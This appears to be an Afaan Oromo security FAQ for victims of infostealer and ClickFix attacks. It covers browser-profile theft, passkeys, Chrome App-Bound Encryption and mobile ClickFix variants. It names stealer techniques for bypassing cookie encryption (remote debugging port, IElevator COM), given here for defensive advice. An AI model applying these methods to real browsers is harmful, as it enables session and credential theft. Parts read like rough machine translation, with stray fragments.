Info-hattoonni scan galmee piroofaayilii biraawzari hunda akkaawuntii fayyadamaa Windows keessanii keessa (%LocalAppData%\Google\Chrome\Deetaa Fayyadamaa\Durtii, . Profaayilii 1., . Profaayilii 2, fi kkf, Chrome, Edge, Brave, Opera, fi Firefox hunda irratti), yoo piroofaayiloonni biraawzari lammaffaa sun yeroo sanatti foddaa banaa hin qabne ta'ellee. Kana jechuun yoo "Work" Chrome profile fi "Personal" Chrome profile adda ta'e Windows login tokko jalatti qabattan, piroofaayiloonni lamaan jechoota icciitii isaanii kan qusatamanii fi kukiiwwan session isaanii yeroo tokkotti hatamanii turan.

Osoon akkaawuntii Google ykn Microsoft koo irratti Passkey fayyadamaa ture ta'ee hoo - info-stealer Passkey koo hatee?¶

Bakka Passkey itti kuufame irratti hundaa'a, kana caalaas, . kukii turtii sochii qabu kan erga Passkey sanaan seentee booda uumame hatuun isaa hin oolu. Tokkoffaa, yoo duraan PC sana irratti Chrome/Edge keessatti Google/Microsoft seentan ta'e, haleellaan sun Passkey keessan hin barbaachisu sababiin isaas isaan live authenticated session cookie keessan hataniiru - kanaaf ammallee cuqaasuu qabdu Kutaa hunda keessaa ba'i meeshaa qulqulluu irratti. Lammaffaa, yoo Passkey keessan Windows Hello (TPM 2.0 irratti kan argamu hardware chip) ykn YubiKey ykn iPhone fiizikaalaa irratti, furtuun dhuunfaa chippii haardwaaraa keessa jiru malwaren erguun hin danda'amu. Haa ta'u malee, yoo furtuuwwan darbiinsaa walsimsiisan PC sana irratti vault dheerina biraawzari qaama sadaffaa hin cufamne keessa kuufatte, furtuuwwan darbiinsaa sana hatattamaan qindaa'ina nageenya herrega keetii haqi.

"App-Bound Encryption" Google Chrome akkamitti (v20 cookies) irratti dhiibbaa kan geessise yoo ta’u, ni qaba Lumma Stealer bira darbuu?¶

Chrome 127+ irraa eegalee Google App-Bound Encryption Windows irratti kan icciitii kukii hidhu (`v20` durtii) gara tajaajila sirna Windows olka’aa (`GoogleChromeElevationService`) malware mirga xiqqaa qabu kukii akka hin hiikne dhaabuuf. Haa ta'u malee, ijaarsa ammayyaa kan Lumma Hattuu, . HatuuC, fi Meeduusaa koodii kallattiin fakkeenya mataa hin qabne kan chrome.exe jedhamuun beekama, buufata sirreeffama fagoo Chrome's fayyadamuudhaan (--remote-debugging-port), ykn mirga ol kaasuun bilbiluuf IElevator jedhamuun beekama Walqunnamtii COM. Yoo fe'umsa ClickFix raawwatte Chrome 127+ kukiiwwan turtii kee eegeera jettee gonkumaa hin fudhatin; yeroo hunda walgahii hunda hatattamaan haquu.

Ajajni ClickFix bilbila iPhone ykn Android koo irratti raawwatame bilbila koo faaluu danda'aa Win + R malware?¶

Yoo CAPTCHA sobaa iPhone irratti tuqxe (`iOS`) ykn bilbila Andirooyidii, Windows PowerShell kamiyyuu / . mshta.exe jedhamuun beekama ajajni gara kiliipboordii mobaayila keessaniitti waraabame iOS ykn Android irratti raawwachuu hin danda'u, sababni isaas sirni opereetiingii moobaayilaa a Mo'achuu + R Qaaqa fiigi, . powershell.exe jedhamuun beekama, ykn mshta.exe jedhamuun beekama. Haa ta'u malee, fuulonni ClickFix mobaayila beekan tokko tokko User-Agent mobaayila keessanii adda baasuun Android hamaa akka fe'attan isin qajeelcha .apk faayila, Bulchiinsa Meeshaalee Moobaayilaa iOS gowwoomsaa (`MDM`) piroofaayilii qindeessaa, ykn maallaqa beeksisa PWA/Web Push hamaa. Faayila ykn piroofaayilii buufame kamiyyuu akka hin fe'amne mirkaneessi.

Qajeelfamoota walqabatan¶

• Butamuu kukii turtii, malware infostealer, fi furtuu darbiinsaa haquu
• Cryptocurrency wallet drain fi gaalee sanyii araarama
• Malware, ransomware, fi spyware infekshinii
• Email account hacked, seera dabarsuu, fi deebisuu
• Dhiyeessii sansalata npm/PyPI paakeejii araarama fi naannoo furtuu buufata hojii developer
• Sodaachisaa farra vaayirasii sobaa, spam beeksisa, fi hayyama dhiibaa biraawzari qulqulleessuu
• Lakkoofsa yeroo muddamaa biyyaan

Maddootaa fi qajeelfama ofiisaa¶

• Ejensii Nageenya Saayibarii fi Nageenya Bu'uuraalee misoomaa (CISA) & Biiroo Qorannoo Federaalaa (FBI) (Ameerikaa): Gorsa Nageenya Saayibarii Waliinii (AA24-131A / Infostealer & Lumma Stealer Threat Advisories): Jireenya Lafa Alaa Salphisuu (LOLBin) fi Haleellaa Hanna Token Session.
• Inistiitiyuutii Istaandardii fi Teeknooloojii Biyyaalessaa (NIST) (Ameerikaa): Maxxansa Addaa 800-61 Mul’ata 2: Qajeelfama To’annoo Taatee Nageenya Kompiitaraa & SP 800-63B: Qajeelfama Eenyummaa Dijitaalaa (Bulchiinsa Kutaa fi Irra Deebiin Mirkaneessuu).
• Odeeffannoo Sodaa Microsoft (Microsoft Security): Duula Injinariingii Hawaasummaa ClickFix Xiinxaluu, Lilmoo Clipboard CAPTCHA Sobaa (RunMRU), fi Galmee Uggura Iskiriiptii Paaworsheel (Event ID 4104).
• Giddugala Nageenya Saayibarii Biyyaalessaa (NCSC) (United Kingdom): Haleellaa Malware fi Ransomware Salphisuu & Qajeelfama Hanna Mirkaneessaa Sadarkaa Meeshaa.
• Ejensii Nageenya Saayibarii Gamtaa Awurooppaa (ENISA): Gabaasa Balaa ENISA: Info-Stealers (Lumma, . StealC, . RedLine, . AMOS) fi Tarkaanfiiwwan Faallaa Butamuu Kukii Session.